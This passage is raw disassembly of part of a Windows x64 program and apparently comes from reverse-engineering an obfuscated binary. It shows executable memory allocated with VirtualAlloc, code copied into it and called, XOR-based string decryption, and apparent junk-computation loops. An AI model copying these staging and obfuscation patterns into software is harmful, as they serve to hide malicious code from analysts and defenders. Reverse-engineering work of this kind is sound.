movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000e490
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140039520]
mov qword [rdi + rax*8 + 0x3bb10], rbx
mov qword [rdi + rax*8 + 0x3ab40], r8
inc rax
mov qword [0x140039520], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14000a030]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
lea rcx, [rbp + 0x120]
call fcn.14001e700
nop
lea rcx, [rbp + 0xf0]
call fcn.14001e700
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1a0]
call fcn.14001e080
mov dword [rbp + 0xd0], 0xffffff9c
mov dword [rbp + 0xd4], 0x64
movdqa xmm0, xmmword [0x14002fa40]
movups xmmword [rbp + 0x110], xmm0
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm7
lea rcx, [rsp + 0x50]
call fcn.140001650
mov qword [rsp + 0x40], 0x64
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.14001fb40
lea rcx, [rbp + 0xf0]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
lea rcx, [rsp + 0x40]
call fcn.14001fb60
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x50]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fb90
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x50]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fbc0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x50]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fbf0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x50]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fc20
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x50]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fc50
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x50]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.1400024f0
test al, al
jns 0x14000ead3
nop dword [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov rbx, qword [rbp + 0xf8]
sub rbx, qword [rbp + 0xf0]
sar rbx, 3
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0xf0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
movaps xmm5, xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
movaps xmm1, xmm5
call fcn.1400023c0
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x120]
call fcn.14001e760
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x120]
call fcn.140002330
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rcx, [rbp + 0xd8]
call fcn.14001e130
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.14001fd00
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd8]
call fcn.140002440
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.14001fd60
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov ebx, eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
test al, 1
jne 0x14000e9c6
call fcn.14001faa0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000e9d5
call fcn.14001faa0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop word [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
test bl, 1
jne 0x14000ea55
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000ea75
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x14000e9f0
sub rdi, 1
jne 0x14000e9e0
lea rcx, [rbp + 0xd8]
call fcn.14001e0d0
nop
lea rcx, [rbp + 0x120]
call fcn.14001e700
sub rsi, 1
jne 0x14000e7b0
lea rcx, [rsp + 0x40]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.1400024f0
test al, al
js 0x14000e7a0
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0xf0]
call fcn.14001dfe0
mov dword [rsp + 0x30], 0x96
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002550
nop
mov ecx, r12d
mov rax, qword [0x140039b80]
test rax, rax
je 0x14000eb49
nop word [rax + rax]
cmp rax, r13
je 0x14000eb36
inc ecx
mov rax, qword [rdi + rcx*8 + 0x39b80]
test rax, rax
jne 0x14000eb20
jmp 0x14000eb49
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3b4c0]
test r8, r8
jne 0x14000ec2f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000eb72
mov r8, r12
jmp 0x14000ec0e
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000eb80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003a1c0]
mov qword [rdi + rax*8 + 0x39b80], r13
mov qword [rdi + rax*8 + 0x3b4c0], r8
inc rax
mov qword [0x14003a1c0], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
movups xmm0, xmmword [str.8__]
movups xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x14002f350]
movsd qword [rbp + 0x100], xmm0
mov eax, dword [0x14002f358]
mov dword [rbp + 0x108], eax
movzx eax, word [0x14002f35c]
mov word [rbp + 0x10c], ax
mov r9d, r12d
cmp r15d, 2
jl 0x14000ee41
movdqa xmmword [rsp + 0x40], xmm15
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 4
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 4
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x14000ecc0
cmp r9d, 0x1e
jge 0x14000ee9f
movsxd rax, r9d
lea r10, [rbp + 0xf0]
add r10, rax
nop
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xd7720f35
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x65
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x55
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1e
jl 0x14000ee50
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002550
nop
mov ecx, r12d
mov rax, qword [0x140039ea0]
lea rbx, [0x140020300]
test rax, rax
je 0x14000ef0a
cmp rax, rbx
je 0x14000eef7
inc ecx
mov rax, qword [rdi + rcx*8 + 0x39ea0]
test rax, rax
jne 0x14000eee1
jmp 0x14000ef0a
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x39860]
test r8, r8
jne 0x14000efef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000ef33
mov r8, r12
jmp 0x14000efce
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000ef40
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140039850]
mov qword [rdi + rax*8 + 0x39ea0], rbx
mov qword [rdi + rax*8 + 0x39860], r8
inc rax
mov qword [0x140039850], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14000a030]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1a0]
call fcn.14001e080
mov dword [rbp + 0xd0], 0xffffff9c
mov dword [rbp + 0xd4], 0x64
movdqa xmm0, xmmword [0x14002fa40]
movups xmmword [rbp + 0x110], xmm0
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm7
lea rcx, [rsp + 0x50]
call fcn.140001650
mov qword [rsp + 0x40], 0x64
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.14001fb40
lea rcx, [rbp + 0xf0]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
lea rcx, [rsp + 0x40]
call fcn.14001fb60
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x50]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fb90
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x50]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fbc0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x50]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fbf0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x50]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fc20
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x50]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fc50
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x50]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.1400024f0
test al, al
jns 0x14000f563
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov rbx, qword [rbp + 0xf8]
sub rbx, qword [rbp + 0xf0]
sar rbx, 3
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0xf0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
movaps xmm5, xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
movaps xmm1, xmm5
call fcn.1400023c0
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x120]
call fcn.14001e760
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x120]
call fcn.140002330
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rcx, [rbp + 0xd8]
call fcn.14001e130
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.14001fd00
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd8]
call fcn.140002440
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.14001fd60
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov ebx, eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
test al, 1
jne 0x14000f456
call fcn.14001faa0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000f465
call fcn.14001faa0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop word [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
test bl, 1
jne 0x14000f4e5
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000f505
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x14000f480
sub rdi, 1
jne 0x14000f470
lea rcx, [rbp + 0xd8]
call fcn.14001e0d0
nop
lea rcx, [rbp + 0x120]
call fcn.14001e700
sub rsi, 1
jne 0x14000f240
lea rcx, [rsp + 0x40]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.1400024f0
test al, al
js 0x14000f232
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0xf0]
call fcn.14001dfe0
mov dword [rsp + 0x30], 0x320
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002550
nop
mov ecx, r12d
mov rax, qword [0x140039b80]
test rax, rax
je 0x14000f5d9
nop word [rax + rax]
cmp rax, r13
je 0x14000f5c6
inc ecx
mov rax, qword [rdi + rcx*8 + 0x39b80]
test rax, rax
jne 0x14000f5b0
jmp 0x14000f5d9
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3b4c0]
test r8, r8
jne 0x14000f6bf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000f602
mov r8, r12
jmp 0x14000f69e
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000f610
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003a1c0]
mov qword [rdi + rax*8 + 0x39b80], r13
mov qword [rdi + rax*8 + 0x3b4c0], r8
inc rax
mov qword [0x14003a1c0], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
mov rax, qword [str.125r9Ac6:u8]
mov qword [rsp + 0x38], rax
cmp r15d, 2
jl 0x14000f86b
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 4
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm15
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x38]
